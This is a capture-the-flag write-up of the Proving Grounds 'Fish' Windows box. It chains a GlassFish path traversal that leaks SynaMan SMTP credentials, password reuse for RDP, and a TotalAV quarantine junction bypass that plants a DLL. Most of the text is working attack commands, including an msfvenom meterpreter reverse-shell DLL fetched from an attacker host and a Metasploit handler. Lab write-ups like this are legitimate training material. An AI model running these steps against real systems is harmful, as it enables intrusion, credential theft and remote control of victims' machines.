# Fish Writeup - Proving Grounds

> Intermediate Windows box where a GlassFish directory traversal leaks SynaMan SMTP credentials reused for RDP access, then a TotalAV antivirus quarantine bypass using a directory junction plants a malicious DLL for a SYSTEM shell.

- **URL:** https://hackindex.io/writeups/fish
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Windows
- **Tags:** directory-traversal, information-disclosure, glassfish, synaman, privilege-escalation, dll-hijacking, race-condition
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 5 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Fish exposes an Oracle GlassFish install alongside a SynaMan file manager. A public GlassFish directory traversal reads SynaMan's configuration file, which leaks a cleartext SMTP password reused for RDP. Local access then reveals a TotalAV antivirus install, and a directory-junction race against its quarantine feature plants a malicious DLL for a SYSTEM shell.

## Reconnaissance

### Nmap

Scan all TCP ports.

```bash
sudo nmap -sV -sC -p- $TARGET_IP
# PORT     STATE SERVICE       VERSION
# 3389/tcp open  ms-wbt-server Microsoft Terminal Services
# 4848/tcp open  http          Sun GlassFish Open Source Edition  4.1
# 5357/tcp open  http          Microsoft HTTPAPI httpd 2.0
# 5985/tcp open  http          Microsoft HTTPAPI httpd 2.0
# 6060/tcp open  x11?          Synametrics Web Server v7
# 8080/tcp open  http          Sun GlassFish Open Source Edition  4.1
```

GlassFish 4.1 on two ports and a Synametrics web server on `6060`. Search Exploit-DB for GlassFish issues.

### GlassFish and SynaMan

Searchsploit turns up a known path traversal.

```bash
searchsploit GlassFish Server 4.1
# Oracle GlassFish Server 4.1 - Directory Traversal                              | multiple/webapps/39441.txt
# Oracle GlassFish Server Open Source Edition 4.1 - Path Traversal (Metasploit)  | windows/webapps/45196.rb
```

A Metasploit module exists for it. Confirm it works by reading `win.ini`.

```bash
msfconsole -q -x "use scanner/http/glassfish_traversal; set RHOSTS $TARGET_IP; exploit;"
# [+] File saved in: loot/glassfish_traversal_win.ini.txt
# [*] Scanned 1 of 1 hosts (100% complete)
```

The traversal works. Port `6060` has no Exploit-DB results under "Synametrics", but opening it in a browser identifies the real product.

```bash
curl http://$TARGET_IP:6060
# Server: Synametrics Web Server v7
# <snip>
# Loading Administration console. Please wait...
```

The server is running **SynaMan**, a Synametrics file manager. Search Exploit-DB for that product by name.

```bash
searchsploit SynaMan 4.0
# SynaMan 4.0 build 1488 - (Authenticated) Cross-Site Scripting | windows/webapps/45386.txt
# SynaMan 4.0 build 1488 - SMTP Credential Disclosure           | windows/webapps/45387.txt
```

SynaMan 4.0 stores SMTP credentials in cleartext in a configuration file. The GlassFish traversal can reach it directly.

## Exploitation

### Leaking SynaMan's SMTP credentials

Point the GlassFish traversal module at SynaMan's config file instead of `win.ini`.

```bash
msfconsole -q
# msf6 > use scanner/http/glassfish_traversal
```

```bash
set RHOSTS $TARGET_IP
set FILEPATH /SynaMan/config/AppConfig.xml
run
# [+] File saved in: loot/glassfish_traversal_appconfig.txt
```

The downloaded configuration contains an account and its SMTP password in cleartext.

```bash
cat loot/glassfish_traversal_appconfig.txt
# <parameter name="smtpUser" type="1" value="arthur"></parameter>
# <parameter name="smtpPassword" type="1" value="$ARTHUR_PASSWORD"></parameter>
```

A user account, `arthur`, with a password. Try it over RDP.

```bash
rdesktop $TARGET_IP -u arthur -p $ARTHUR_PASSWORD
```

The credential works, and the session lands as `arthur` on the desktop.

```powershell
whoami
# fishyyy\arthur
```

Local access confirmed. Look around the desktop for anything exploitable.

## Privilege Escalation

### TotalAV quarantine abuse

A **TotalAV** icon sits on the desktop. Search Exploit-DB for known issues in it.

```bash
searchsploit TotalAV
# TotalAV 2020 4.14.31 - Privilege Escalation | windows/local/47897.txt
```

The write-up describes abusing TotalAV's quarantine handling with a directory junction: get a malicious DLL detected and quarantined, then redirect the directory it sits in before TotalAV restores it, so the restored file lands somewhere privileged instead. Generate a DLL that TotalAV will flag, and grab Google Project Zero's symbolic link testing tools for the directory junction.

```bash
msfvenom -p windows/meterpreter/reverse_tcp lhost=$ATTACKER_IP lport=$ATTACKER_PORT -f dll > version.dll
# Payload size: 354 bytes
# Final size of dll file: 8704 bytes
```

```bash
wget https://github.com/googleprojectzero/symboliclink-testing-tools/releases/download/v1.0/Release.7z
7za e Release.7z
# Everything is Ok
```

Host both files and pull them down from the RDP session.

```bash
sudo python3 -m http.server 80
# Serving HTTP on 0.0.0.0 port 80 ...
```

```powershell
wget http://$ATTACKER_IP/version.dll -UseBasicParsing -OutFile version.dll
wget http://$ATTACKER_IP/CreateMountPoint.exe -UseBasicParsing -OutFile CreateMountPoint.exe
```

Put the DLL in its own directory, which will later be redirected.

```powershell
mkdir mount
mv .\version.dll .\mount\
```

Open TotalAV, run a custom scan against the `mount` folder, and let it detect and quarantine `version.dll`. With the file safely in quarantine, use `CreateMountPoint.exe` to turn `mount` into a directory junction pointing at the .NET Framework directory.

```powershell
CreateMountPoint.exe "C:\Users\arthur\mount\" "C:\Windows\Microsoft.NET\Framework\v4.0.30319"
```

Now release the DLL from quarantine in TotalAV. Because `mount` is junctioned to the .NET Framework directory, the restored file is written there instead of back to its original location. Start a Metasploit handler to catch the callback, then force the DLL to load by rebooting the target, which loads every DLL in that directory for a .NET-hosting system process.

```bash
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost $ATTACKER_IP; set lport $ATTACKER_PORT; run"
# [*] Started reverse TCP handler on $ATTACKER_IP:$ATTACKER_PORT
```

After the reboot, the handler catches a SYSTEM session.

```bash
shell
# [*] Meterpreter session 1 opened
# C:\Windows\system32>whoami
# nt authority\system
```

The planted DLL loads as SYSTEM once a trusted process pulls it from the hijacked .NET Framework path.

Related

## References

- [Exploit-DB 45196](https://www.exploit-db.com/exploits/45196) - Oracle GlassFish 4.1 path traversal Metasploit module used to read SynaMan's config file.
- [Exploit-DB 45387](https://www.exploit-db.com/exploits/45387) - SynaMan 4.0 build 1488 SMTP credential disclosure in AppConfig.xml.
- [Exploit-DB 47897](https://www.exploit-db.com/exploits/47897) - TotalAV 2020 4.14.31 privilege escalation via quarantine directory-junction abuse.
- [symboliclink-testing-tools](https://github.com/googleprojectzero/symboliclink-testing-tools) - Google Project Zero's CreateMountPoint.exe, used to create the directory junction.